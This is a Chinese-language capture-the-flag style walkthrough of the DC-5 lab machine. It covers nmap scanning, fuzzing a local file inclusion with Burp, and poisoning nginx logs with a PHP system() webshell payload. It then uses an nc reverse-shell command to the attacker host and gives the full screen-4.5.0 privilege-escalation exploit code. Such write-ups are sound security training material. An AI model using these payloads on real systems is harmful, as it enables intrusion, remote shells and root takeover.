0

这个靶机在漏洞挖掘这一块个人感觉偏向于ctf类型的,比较tricky。但是做下来还是学到了新的知识的。

信息收集

上nmap探测目标主机ip:

1
2
3
4
5
6
7
8
9
10
11
kali@kali:~$ nmap -sP 192.168.247.1/24
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-01 08:32 EDT
Nmap scan report for 192.168.247.1
Host is up (0.0014s latency).
Nmap scan report for 192.168.247.2
Host is up (0.00069s latency).
Nmap scan report for 192.168.247.210
Host is up (0.0044s latency).
Nmap scan report for 192.168.247.218
Host is up (0.0025s latency).
Nmap done: 256 IP addresses (4 hosts up) scanned in 3.05 seconds

扫描开启的服务:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
kali@kali:~$ nmap -p1-65535 -A 192.168.247.218 -oN /tmp/DC-5.txt
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-01 08:54 EDT
Nmap scan report for 192.168.247.218
Host is up (0.00054s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.6.2
|_http-server-header: nginx/1.6.2
|_http-title: Welcome
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 33990/tcp status
| 100024 1 47971/tcp6 status
| 100024 1 48906/udp6 status
|_ 100024 1 49076/udp status
33990/tcp open status 1 (RPC #100024)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.68 seconds

发现目标主机开启了nginx服务以及rpcbind服务。

漏洞挖掘

访问http://192.168.247.218 ,发现是一个不知道是什么的cms的站点,观察整个cms,只有contact.php页面接受用户输入:

1

填写之后,提交表单,抓个包,该提交功能是交给thankyou.php处理的,但是没发现什么特别的。。。

说真的,这里真的很隐蔽,有点ctf的思路的感觉。根据上面的提示,说是something that changes with a refresh of a page **,看了别人的wp之后,才知道这个关键点竟然在页面。可以看到,第一次提交的时候是Copyright @ 2020**:

2

再send一次,发现变成了Copyright @ 2018

4

但是到这里还不太能说明什么问题,因为还不清楚是什么导致了这里会发生变动,用dirbuster扫描目录:

5

发现了一个叫做footer.php的页面,访问它,发现是显示copyright用的:

6

刷新页面,发现也确实是发生了变化:

7

所以可以推出,thankyou.php包含了footer.php,那么我们只能说这里潜在一个文件包含漏洞,然后参数也不清楚,直接上burp爆破一下,抓包发送到intruder,选择Cluster bomb

8

设置payloads,$param$的字典用 https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/burp-parameter-names.txt :

9

$/etc/passwd$的字典来自 https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-Jhaddix.txt :

10

然后线程设置的稍微大一点,跑的就会很快:

11

选择attack,立刻就出结果了:

12

漏洞利用

现在只有一个本地文件包含漏洞,怎么利用这个漏洞是关键,一般我们想要getshell,总得找一个代码执行或是文件上传的漏洞。这篇文章就列举了比较丰富的利用场景:

https://www.anquanke.com/post/id/86123

从之前的端口扫描和burp请求的返回结果已经知道web服务器是nginx,先用这个lfi漏洞看一下nginx的配置信息,nginx的默认配置信息路径为/etc/nginx/nginx.conf

13

可以看到nginx同时开启了错误日志和访问日志,并且获得了它们的路径。

lfi+nginx error_log

当请求为403/404等异常错误码或者是FastCGI返回出错信息时,都会记录到nginx error_log中。所以要利用error_log,可以包含一个并不存在的文件:

1
/thankyou.php?file=<?php echo system($_GET['cmd']); ?>

16

现在错误信息已经写入/var/log/nginx/error.log中了:

1
2020/07/03 03:05:31 [error] 594#0: *5 FastCGI sent in stderr: "PHP message: PHP Warning:  include(<?php echo system($_GET['cmd']);?>): failed to open stream: No such file or directory in /var/www/html/thankyou.php on line 44

然后包含/var/log/nginx/error.log,并且跟上一个cmd参数:

1
/thankyou.php?file=/var/log/nginx/error.log&cmd=id

17

成功执行了system命令,接着可以用nc来进行反弹shell:

1
/thankyou.php?file=/var/log/nginx/error.log&cmd=nc 192.168.247.210 4444 -c /bin/bash

18

lfi+nginx access_log

除了error_log之外,还可以利用access_log。Nginx会把每个用户访问网站的日志信息记录到指定的日志文件里,供网站提供者分析用户的浏览行为等,这个文件就是access_log

14

所以直接访问路径<?php passthru($_GET['cmd']); ?>,nginx就会将该路径记录到/var/log/nginx/access.log文件中。

同样进行反弹shell:

1
/thankyou.php?file=/var/log/nginx/access.log&cmd=nc 192.168.247.210 4444 -c /bin/bash

15

然后利用python的pty模块获取标准shell:

1
python -c 'import pty; pty.spawn("/bin/bash")'

19

提权

sudo -l查看当前www-data用户的sudo权限,但是该用户无法使用sudo命令:

1
2
3
www-data@dc-5:~/html$ sudo -l
sudo -l
bash: sudo: command not found

那换一种思路,之前在靶机DC-1中用find / -perm -u=s 2>/dev/null来搜索具有root执行权限的文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
www-data@dc-5:/etc$ find / -perm -u=s 2>/dev/null
find / -perm -u=s 2>/dev/null
/bin/su
/bin/mount
/bin/umount
/bin/screen-4.5.0
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/at
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/sbin/exim4
/sbin/mount.nfs

有一个/bin/screen-4.5.0程序,搜索后发现该程序存在一个本地提权漏洞:

20

exp可以在这里下载: https://www.exploit-db.com/exploits/41154 。但是这个exp直接下载不能用,得做一下处理,先抠出第一部分的C语言代码,保存为/tmp/libhax.c

1
2
3
4
5
6
7
8
9
10
11
// /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}

然后抠出第二部分的C语言代码,保存为/tmp/rootshell.c

1
2
3
4
5
6
7
8
9
// /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}

然后把剩下的部分留下来保存为41154.sh

1
2
3
4
5
6
7
8
#!/bin/bash
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

因为原作者是在windows环境编写的脚本,所以在unix上执行时可能会出现换行符问题,在保存前需要设置:set ff=unix

然后在我们的本地攻击机上进行编译:

1
2
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
gcc -o /tmp/rootshell /tmp/rootshell.c

21

然后将生成的/tmp/libhax.so/tmp/rootshell以及41154.sh通过ftp服务上传到靶机上:

22

41154.sh文件足够的执行权限:

1
chmod -R 777 41154.sh

23

拿到了root shell。

总结

完成这个靶机最大的收获就在于了解了文件包含漏洞的利用场景,在没有其他的漏洞下,只有一个lfi漏洞,其实我们可以考虑利用日志文件来进行攻击。在linux+nginx的环境下,默认的日志文件路径为:

1
2
/var/log/nginx/access.log
/var/log/nginx/error.log

在linux+apache的环境下,默认的日志文件路径为:

1
2
/var/log/apache2/access.log
/var/log/apache2/error.log

但是也有可能用户会进行自定义,所以可以用字典来爆破一下,secLists上就有这样的字典。

参考

  1. https://segmentfault.com/a/1190000009809346
  2. https://www.anquanke.com/post/id/86123